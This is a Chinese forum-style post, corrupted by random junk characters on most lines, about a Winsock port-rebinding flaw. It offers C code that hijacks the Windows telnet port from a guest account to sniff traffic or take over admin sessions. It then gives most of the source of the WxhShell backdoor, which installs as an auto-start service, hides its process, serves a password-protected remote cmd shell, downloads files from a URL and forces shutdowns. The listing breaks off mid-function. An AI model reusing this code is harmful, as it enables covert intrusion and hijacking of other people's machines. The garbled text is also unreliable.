在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
OTvROJP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
( `' 8Ww \9c$`nn saddr.sin_family = AF_INET;
,+/zH'U} Bl.u=I:Y4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7 &)])
{Q o.:p_(|hI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0Vv9BL{ SQ(apc}N4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ND]S(C"? $`Nd?\$ 这意味着什么?意味着可以进行如下的攻击:
Evu=M-? 'UwI*EW2S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B+VuUt{S CDg AGy 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
y>o>WN<q 97~K!'/^+y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Rq)BssdF H3FW52pjX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
DQ6jT@ZDH a0_(eO-S 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)*1.eObhL ksI>IW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#!#z5DJu "e62/Ejg% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
zhEo(kU!
+cg
{[f,J; #include
b](o]O{v #include
U{1z;lJ #include
NrJzVGeS #include
o" _=K%9 DWORD WINAPI ClientThread(LPVOID lpParam);
z]#hWfM4B: int main()
B4W\
t{ {
2"/yEg*= WORD wVersionRequested;
7 ^I:=qc72 DWORD ret;
ey1Z/| WSADATA wsaData;
5{l1A(b BOOL val;
:$H!@n*/R SOCKADDR_IN saddr;
k$[{n'\@ SOCKADDR_IN scaddr;
'F_}xMU int err;
}=@zj6AC SOCKET s;
F,}s$v SOCKET sc;
>Q2). E int caddsize;
0-xCp ~vE HANDLE mt;
=MSu3<y, DWORD tid;
l]5% wVersionRequested = MAKEWORD( 2, 2 );
kL7^$ err = WSAStartup( wVersionRequested, &wsaData );
HHS45kg[c if ( err != 0 ) {
K5flit4- printf("error!WSAStartup failed!\n");
1j3=o }m return -1;
EF;,Gjh5p }
31XU7A saddr.sin_family = AF_INET;
1D1b"o N/{?7sG& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
-<oZ)OfU j[DIz@^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_Y-$}KwY! saddr.sin_port = htons(23);
|9s wZ[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9*p G?3*I {
7%CIt?Z% printf("error!socket failed!\n");
@d)a~[pm return -1;
Fk$@Yy+}e }
G[6=u|(M val = TRUE;
878tI3- //SO_REUSEADDR选项就是可以实现端口重绑定的
|R~;&x: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
eTZ`q_LfI1 {
wo(j}O- printf("error!setsockopt failed!\n");
^Kw(&v return -1;
%FS;>;i? }
bOXh|u_3i //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
` u=<c //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(46U|P(v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&7F&}7*c # U`&jBU if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:yD@5) {
m|dF30~A ret=GetLastError();
)dg UmN printf("error!bind failed!\n");
'%Dg{ zL return -1;
JS2!)aqc }
mh8nlB listen(s,2);
r %xB8e9 while(1)
rxkBg0Z`a {
riEqW}{ caddsize = sizeof(scaddr);
%0(>!SY //接受连接请求
SD I,M sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*<3iEeO/R if(sc!=INVALID_SOCKET)
~$ WQ"~z {
|
VRq$^g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
*EE|?vn if(mt==NULL)
bgXc_>T6_y {
2 ^ kn5 printf("Thread Creat Failed!\n");
s.ey!ew break;
^ N_`^m }
ZArf;&8 }
n(# c`t* CloseHandle(mt);
@f'AWeJ2 }
;@O(z*14@ closesocket(s);
,,2_/u\"/i WSACleanup();
L`bo#,eg6 return 0;
~l4Q~' }
Ot"(uW4$[ DWORD WINAPI ClientThread(LPVOID lpParam)
dK7 ^ {
8Nv-/VQ/b SOCKET ss = (SOCKET)lpParam;
,dq`EsHg`M SOCKET sc;
/^WE@r[: unsigned char buf[4096];
)xbqQW7%0+ SOCKADDR_IN saddr;
7dx4~dF long num;
^f"&}%" M DWORD val;
6P6Jx; DWORD ret;
k dUc& //如果是隐藏端口应用的话,可以在此处加一些判断
/3;=xZq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'jwTGT5x saddr.sin_family = AF_INET;
XAGiu;<,= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$o::PDQ? saddr.sin_port = htons(23);
GYTbeY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c{ZqQtfM {
:4b- sg# printf("error!socket failed!\n");
[/n'@cjNZ return -1;
C(ZcR_+r$, }
^&e;8d|f{ val = 100;
7{8)ykBU^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z 'Zd[."s {
|O'Hh7 ret = GetLastError();
>EyvdX#v return -1;
K T"h74@ }
]*;RHy9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`jt(DKB+J {
zh?xIpY ret = GetLastError();
NdaM9a#TZ return -1;
m}sh I8S }
jR}*bIzv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_qdWQFuM {
^O?l9(=/u printf("error!socket connect failed!\n");
-1dIZy closesocket(sc);
yzODF>KJ closesocket(ss);
-U&098}<K return -1;
$4&8U ~Zs }
YlxUx while(1)
A89Y;_4y {
p PU 2ar //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
F12S(5Z0% //如果是嗅探内容的话,可以再此处进行内容分析和记录
lb=2*dFJ1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4ZSfz#<[z num = recv(ss,buf,4096,0);
K4BTk! if(num>0)
iFXUKGiV send(sc,buf,num,0);
4d,qXSKty else if(num==0)
&4a~6 break;
r< N-A?a num = recv(sc,buf,4096,0);
&*h`b{] if(num>0)
q
oKQEG2 send(ss,buf,num,0);
Zz{[Al{ else if(num==0)
)2
break;
Tm'l N5}&9 }
kjQIagw closesocket(ss);
\r)_- closesocket(sc);
gogl[gHO return 0 ;
gt(X!iN] }
K]lb8q}Z~ %>oT7|x U<#$w{d: ==========================================================
hA$c.jJr.Z Vw6>:l<+< 下边附上一个代码,,WXhSHELL
y?rK5Yos T(t
<Ay?c ==========================================================
[0(
E>vm xV
}:M #include "stdafx.h"
Wl@0TUK S S7D1 #include <stdio.h>
x|P<F 2L #include <string.h>
|sDG>Zq? #include <windows.h>
LL6ON
} #include <winsock2.h>
6Vu}kK)
#include <winsvc.h>
U/v"?pg[ #include <urlmon.h>
q|de*~@-P @p?b"?QaB #pragma comment (lib, "Ws2_32.lib")
F5om-tzy #pragma comment (lib, "urlmon.lib")
4 @ydK rZwf%} #define MAX_USER 100 // 最大客户端连接数
4rGO8R #define BUF_SOCK 200 // sock buffer
Hj-<{#, #define KEY_BUFF 255 // 输入 buffer
;RTrRh0v 0|qx/xo|- #define REBOOT 0 // 重启
]-+.lR%vd9 #define SHUTDOWN 1 // 关机
&9GR2GY ]y$V/Ij=qK #define DEF_PORT 5000 // 监听端口
X8NO;w@z# +)''l #define REG_LEN 16 // 注册表键长度
+A.a~Stt #define SVC_LEN 80 // NT服务名长度
RLeSA\di vi()1LS/! // 从dll定义API
hc31+TL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
P*nT\B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@pEO@bbg> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
EzeDShN=J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9cx!N,R t GwU>o:g" // wxhshell配置信息
vb80J<4 struct WSCFG {
b*F :l# int ws_port; // 监听端口
AU${0#WV_ char ws_passstr[REG_LEN]; // 口令
/oixtO) int ws_autoins; // 安装标记, 1=yes 0=no
GYy!`E char ws_regname[REG_LEN]; // 注册表键名
e
P,XH{s char ws_svcname[REG_LEN]; // 服务名
#xJGuYdv char ws_svcdisp[SVC_LEN]; // 服务显示名
nP3;<*T P0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
%RK\Hz2q3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
UHsrZgIRYT int ws_downexe; // 下载执行标记, 1=yes 0=no
aZ`_W| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\p=W4W/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`!>dbR&1 Jr*S2z<* };
U{:(j5m Z2pN<S{5 // default Wxhshell configuration
\w@_(4")Qb struct WSCFG wscfg={DEF_PORT,
Rs(CrB/M "xuhuanlingzhe",
H--*[3". 1,
q4#f
*] "Wxhshell",
Y|qixpP "Wxhshell",
Eg-Mm4o "WxhShell Service",
6pdl,5[x- "Wrsky Windows CmdShell Service",
GJl@ag5h]! "Please Input Your Password: ",
B$[%pm`'2 1,
CFS3);'<| "
http://www.wrsky.com/wxhshell.exe",
|?t8M9[Z "Wxhshell.exe"
"}~i7NBB };
6^z\;,p h/+I-],RF // 消息定义模块
9'*ZEl^?D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^xkppN2 char *msg_ws_prompt="\n\r? for help\n\r#>";
nAba
=iW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#SLxN AH char *msg_ws_ext="\n\rExit.";
S&))
0d char *msg_ws_end="\n\rQuit.";
+qW w-8 char *msg_ws_boot="\n\rReboot...";
$rQFM[ char *msg_ws_poff="\n\rShutdown...";
gp&&
c, char *msg_ws_down="\n\rSave to ";
-L4G WJ~.- %F]9^C+ char *msg_ws_err="\n\rErr!";
))+98iU1s char *msg_ws_ok="\n\rOK!";
H6 f; BS _I}L$ char ExeFile[MAX_PATH];
5`{;hFl int nUser = 0;
BnnUUaE HANDLE handles[MAX_USER];
/5'<w( int OsIsNt;
~1]2A[`s! LU IT=+ SERVICE_STATUS serviceStatus;
5\kZgXWIh SERVICE_STATUS_HANDLE hServiceStatusHandle;
Y"
+1,?yH AqKx3p6 // 函数声明
@7Rt[2"e int Install(void);
kpreTeA] int Uninstall(void);
`6/Yf@b int DownloadFile(char *sURL, SOCKET wsh);
SUi1*S int Boot(int flag);
wj:3 void HideProc(void);
Jc#)T;#6 int GetOsVer(void);
V-U
^O45 int Wxhshell(SOCKET wsl);
4l!Yop0h void TalkWithClient(void *cs);
a=T7w;\h int CmdShell(SOCKET sock);
bz@=zLBt int StartFromService(void);
WyJfF=< int StartWxhshell(LPSTR lpCmdLine);
[
*a>{sO[ }br<2?y, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
o/[yA3^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
wj5s5dH
T]Td4T! // 数据结构和表定义
qsRfG~Cg SERVICE_TABLE_ENTRY DispatchTable[] =
"91Atb;hJ {
W]Y!ZfGnN {wscfg.ws_svcname, NTServiceMain},
LW
3J$Am {NULL, NULL}
}(%}"%$ };
`L[32B9 B+[Q$Q" // 自我安装
@DC2ci
> int Install(void)
JOne&{h]J" {
o[r6sz: char svExeFile[MAX_PATH];
wQuaB6E HKEY key;
xr3PO?: strcpy(svExeFile,ExeFile);
1Y"qQp Ri6 br // 如果是win9x系统,修改注册表设为自启动
G]DN!7]@g if(!OsIsNt) {
eV=sDx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
./*,Thc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>Pd23TsN RegCloseKey(key);
JP*wi-8D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y'H/
$M N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xdU
pp~}+. RegCloseKey(key);
_$_CR\$ return 0;
)w?$~q }
RIqxM }
c(g^*8Pb }
R/xCS.yl} else {
19{?w6G<k Kf<_A{s // 如果是NT以上系统,安装为系统服务
"EkO>M/fr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'R5l
=Wf if (schSCManager!=0)
MCpK^7]k {
X.Y)'qSf SC_HANDLE schService = CreateService
<l/Qf[V (
l hp:. schSCManager,
ddhTri'f wscfg.ws_svcname,
#l%
\}OC wscfg.ws_svcdisp,
< io8
b|A SERVICE_ALL_ACCESS,
%=
;K>D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$K6`Q4` SERVICE_AUTO_START,
):EXh # SERVICE_ERROR_NORMAL,
E004"E<E svExeFile,
8_$2aqr NULL,
k8>^dZub NULL,
rGL{g&_ NULL,
!7*/lG NULL,
ew ['9 NULL
3?CpylCO );
"jMnYEG if (schService!=0)
+N&(lj {
X_8NW, CloseServiceHandle(schService);
r:Cid*~m CloseServiceHandle(schSCManager);
6{WT;W>WT: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
T`[ZNq+${ strcat(svExeFile,wscfg.ws_svcname);
n}kz&, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Fa^]\: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
(2)9TpE; RegCloseKey(key);
DdBrJ x return 0;
_I5+o\;1 }
gcF><i6 }
BEx^IQ2 CloseServiceHandle(schSCManager);
.1lc'gu5y }
l6Bd<tSH }
Bn:sN_N r5wXuA,Um return 1;
%z(=GcWm }
X/7 49"23 7s3<} // 自我卸载
{Vu:yh\< int Uninstall(void)
El}z^e {
A*;h}\n HKEY key;
AOUO',v xc3Q7u!| if(!OsIsNt) {
.JjuY'-Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^[akB|#\9 RegDeleteValue(key,wscfg.ws_regname);
NebZGD2K RegCloseKey(key);
(Cd`~*5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,r4af< RegDeleteValue(key,wscfg.ws_regname);
a@1gMZc* RegCloseKey(key);
`rQl{$9IC return 0;
\C|06Bs$
}
e0 EJ[bG }
F4Z0g*^x }
,/9|j*9H else {
Jq)k?WS vj0?b/5m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
inrL'z if (schSCManager!=0)
,_O[;L {
VvKH]>* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?OFvGd if (schService!=0)
9hU@VPB~ {
x #g,l2_! if(DeleteService(schService)!=0) {
Q5JeL6t CloseServiceHandle(schService);
+^:K#S9U CloseServiceHandle(schSCManager);
1cega1s3xR return 0;
HR }
ysPW< CloseServiceHandle(schService);
24fWj?A| ^ }
{ q<l]jn9 CloseServiceHandle(schSCManager);
v>R.ou( }
=c'LG }
A:Z:&(NtE: eKOTxv{ return 1;
)
|a5Qxz }
HY:n{=o I'wAgf6W // 从指定url下载文件
$'Z!Y;Ue int DownloadFile(char *sURL, SOCKET wsh)
huIr*)r&p {
nFSa~M HRESULT hr;
uPPe"$ char seps[]= "/";
\ZB;K~BV& char *token;
Mv3Ch'X[ char *file;
XijQ)}'C3 char myURL[MAX_PATH];
'`u1,h char myFILE[MAX_PATH];
gUcE,L C
Qebb:y strcpy(myURL,sURL);
A
3l1$t#w token=strtok(myURL,seps);
E7D
DMU while(token!=NULL)
M}>q> {
N>_7Ltw/ file=token;
Z:Wix|,ONS token=strtok(NULL,seps);
pFuQ!7Uk }
"M
tQj} >*MB_m2| GetCurrentDirectory(MAX_PATH,myFILE);
6dh PqL strcat(myFILE, "\\");
Velmq'n strcat(myFILE, file);
foeVjL:T send(wsh,myFILE,strlen(myFILE),0);
tj0vB]c send(wsh,"...",3,0);
/zWWUl`: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+-"#GL~cC if(hr==S_OK)
HFazqQ[ return 0;
tkmW\ else
)Jc>l;G(M return 1;
C+Z"0\{o Smp+}-3O }
>cp9{+#f >,v~,<3
i // 系统电源模块
Am0$U eSZ int Boot(int flag)
T]xGE {
=% p"oj]: HANDLE hToken;
~gf$ L9 TOKEN_PRIVILEGES tkp;
LLE~V~j e0TnA
N if(OsIsNt) {
2a^(8A`7W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=YBJ7.Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
I6\3wU~). tkp.PrivilegeCount = 1;
<j>@Fg#q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,-Na'n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#[8gH>7 if(flag==REBOOT) {
E_OLf%um if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
M3''xrpC return 0;
,ZSuo4 }
Vl EkT9^: else {
~?p
> L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P/_XDP./U return 0;
Z`W.(gua }
!"kvXxp^ }
Fri5_rxLl else {
75F&s,4+ if(flag==REBOOT) {
}yw\+fc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
}LRAe3N%8 return 0;
kB
2bT} }
sw&Qks?V else {
v6GWD}HH, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
u32<=Q[ return 0;
/\9Kr;@vk }
Vf@/}=X * }
@.0,ka,X #wo_ return 1;
*n47.(a2i }
97g\nq< 'fB `e]_ // win9x进程隐藏模块
dcA0k void HideProc(void)
IoX(Pa {
P$Dr6; qHj4`& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Ut%ie=c if ( hKernel != NULL )
WRgz]=W3w {
)*uI/E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PyoLk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
kSDV#8uZ FreeLibrary(hKernel);
A;g[G >J }
"[%NXan =}L[/ RL return;
cr!I"kTgD }
QEVjXJOt0 }X$>84s>[P // 获取操作系统版本
5ZSw0A(w int GetOsVer(void)
5t PmrWZ {
$&4Z w6"= OSVERSIONINFO winfo;
U!Lws#\X winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
j04Q3d
\f GetVersionEx(&winfo);
=m40{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Pg:Nz@CQ return 1;
eY-$hnUe else
NZ_45/(dx return 0;
M:x8]TA }
JmBYD[h, r8xH A // 客户端句柄模块
mMMu'N int Wxhshell(SOCKET wsl)
|h'ugx1iY {
kTzZj|l^\ SOCKET wsh;
bNC1[GG[ struct sockaddr_in client;
9Hu%Z/[!p DWORD myID;
0+L5k!1D C>;}CH|X while(nUser<MAX_USER)
[)a,rrhj {
GY!&H"% int nSize=sizeof(client);
[]Z6<rC| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4jXyA/F9V if(wsh==INVALID_SOCKET) return 1;
FPqgncBHK $UH_)Q2#J^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
T.xW|Iwx if(handles[nUser]==0)
T^79p$ closesocket(wsh);
6"wY;E else
1rN&Y,61\ nUser++;
mX#T<_=d }
o(a*Fk$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
KL xg d BJM?/ return 0;
J3$ihH. }
>
4^U=T# TKmC/c // 关闭 socket
gh~C.>W}q+ void CloseIt(SOCKET wsh)
Um|:AT}`^ {
]\GGC]:\@
closesocket(wsh);
dx~F [ nUser--;
jHFdDw|N` ExitThread(0);
{u!,TDt* }
F|"NJ*o} yn7n // 客户端请求句柄
8>w/Es5 void TalkWithClient(void *cs)
KJ-D|N,8@^ {
yeW|Ux: "c}bqoN SOCKET wsh=(SOCKET)cs;
Zw }7vD0 char pwd[SVC_LEN];
ld3,)ZY char cmd[KEY_BUFF];
oc15!M3$ char chr[1];
D3jP hPy. int i,j;
%Jw;c`JM t!K|3>w while (nUser < MAX_USER) {
tV<Au t!PFosFp if(wscfg.ws_passstr) {
1e&`m~5K+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h[ tOY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
BtjsN22 //ZeroMemory(pwd,KEY_BUFF);
d+/d)cu i=0;
amPQU while(i<SVC_LEN) {
upX/fLc Sd{>(YWx~ // 设置超时
SQEXC*08 fd_set FdRead;
Q.5a"(d@ struct timeval TimeOut;
ov|s5yH8e FD_ZERO(&FdRead);
VJwzYl FD_SET(wsh,&FdRead);
' rXkTm1{ TimeOut.tv_sec=8;
jdhhvoQ TimeOut.tv_usec=0;
v!W,h2:J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
k1]?d7g$w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r*kk/$,2 n9)/(=)>* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
haY.rH]z pwd
=chr[0]; z`/v}'d[X
if(chr[0]==0xd || chr[0]==0xa) { lfCoL@$6D
pwd=0; ;KnnAZJ
break; }F^c*xt[
} Haturg
i++; KC
} 1tD4I
YHE7`\l
// 如果是非法用户,关闭 socket p[W8XX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vls*fY:W
} PI }A')Nq.
Ha;^U/0|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G66vzwO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0C3CqGP
=m:0#&t,*
while(1) { x; :[0(st}
ZY{,//
ZeroMemory(cmd,KEY_BUFF); m!v`nw ]
Mj[v _&N
// 自动支持客户端 telnet标准 tdEu4)6
j=0; '?q|7[SU
while(j<KEY_BUFF) { Yj;$hV8j(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UP#]n
69y
cmd[j]=chr[0]; WM9QC59
if(chr[0]==0xa || chr[0]==0xd) { eoow]me
cmd[j]=0; "&7v.-Yk(
break; pnVtjWrbG
} IspY%UMl
j++; GXa-g-d
} [<bfwTFsl
/SZsXaC '
// 下载文件 F%L^k.y$
if(strstr(cmd,"http://")) { bPiJCX0d
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tz2`X V{
if(DownloadFile(cmd,wsh)) t R*JM$T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z~$fTW6g
else zX|CW;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F!N;4J5u
} e PlEd'Z
else { )(y&U
bp;)*
switch(cmd[0]) { N!$y`nwiw'
IaN|S|n~
// 帮助 Nqy',N
case '?': { H<"{wUPT0
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t[7YMk
break; YpXUYNy
} !*N#}6Jd
// 安装 .}2^YOmd
case 'i': { >H[&Wa+_
if(Install()) irpO(>LK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); par
$0z/
else @yqy$I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Kg
lp\2
break; ;PGC9v%i
} j2g#t
// 卸载 }h EBX:-
case 'r': { Cd]d[{NJ;
if(Uninstall()) "wA3l%d[Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Rz,[KI|
else U*1rA/"n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w=y!|F
break; 6D@tCmmq
} =^O84Cp 6
// 显示 wxhshell 所在路径 74xI#`E
case 'p': { vD^^0-Pk6
char svExeFile[MAX_PATH]; +u:8#!X$RD
strcpy(svExeFile,"\n\r"); kjJ\7x6M
strcat(svExeFile,ExeFile); _ i.CvYe
send(wsh,svExeFile,strlen(svExeFile),0); D9+a"2|3<
break; }mk9-7
} ,H[-.}OO
// 重启 iMYvC w/t6
case 'b': { wnN@aO6g*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,`B*rCOa
if(Boot(REBOOT)) +);o{wfW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O=G2bdY{,
else { uFW4A
closesocket(wsh); v93+<@Z
ExitThread(0); -|:7<$2#I
} <~<I K=n
break; aG?'F`UQ
} 0&$e:O'v
// 关机 &7XB$
case 'd': { yIh>j.P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MuO7_*q'n
if(Boot(SHUTDOWN)) `LVXK|m+ $
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZZ)bTLu
else { #$e~o}(r
closesocket(wsh); p%G4Js.
ExitThread(0); #sq -V,8
} )|q,RAn
break; L_=J(H|
} 8~Rja
// 获取shell
QSmE:Y
case 's': { Xb&r|pR
CmdShell(wsh); qd%5[A
closesocket(wsh); P)tX U
ExitThread(0); U"<Z^)
break; Bz }Kdyur
} \Llrs-0 M
// 退出 gPd:>$
case 'x': { jgVra*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XCDHd
?Ld
CloseIt(wsh); plv"/K JM
break; `[C8iF*Y"
} k$7-F3
// 离开 _+T;4U'p
case 'q': { (uD(,3/Cw
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7'xT)~*$4
closesocket(wsh); 0 jVuFl
WSACleanup(); _C)u#]t
exit(1); s@'};E^]@r
break; #Z"N\49
} pz:$n_XC}
} 0v,DQJ?w8
} 44
o5I:
I`5F&8J{
// 提示信息 L` V6\Ix(I
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o`DBzC
}
u> %r(
} !-|&
? Ls]k
return; VjMd&>G
} k&n7_[]n
*$1*\oCtz
// shell模块句柄 +`yDW N?7
int CmdShell(SOCKET sock) [t: =%&B
{ Z5bmqhDo[
STARTUPINFO si; @ J!)o d
ZeroMemory(&si,sizeof(si)); KVSy^-."
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rl=NVo
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rqa#;wb!(
PROCESS_INFORMATION ProcessInfo; 6K[s),rdv
char cmdline[]="cmd"; |*Z'WUv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |/]bpG 'z
return 0; qV@xEgW#r
} F'C]OMBE
+G7A.d`V}
// 自身启动模式 j &)|nK;}
int StartFromService(void) bqS*WgMY-
{ 2j=3i@
typedef struct 0Dc$nL?TqX
{ VS%8f.7ep
DWORD ExitStatus; ?F(t`0=
DWORD PebBaseAddress; $*G]6s
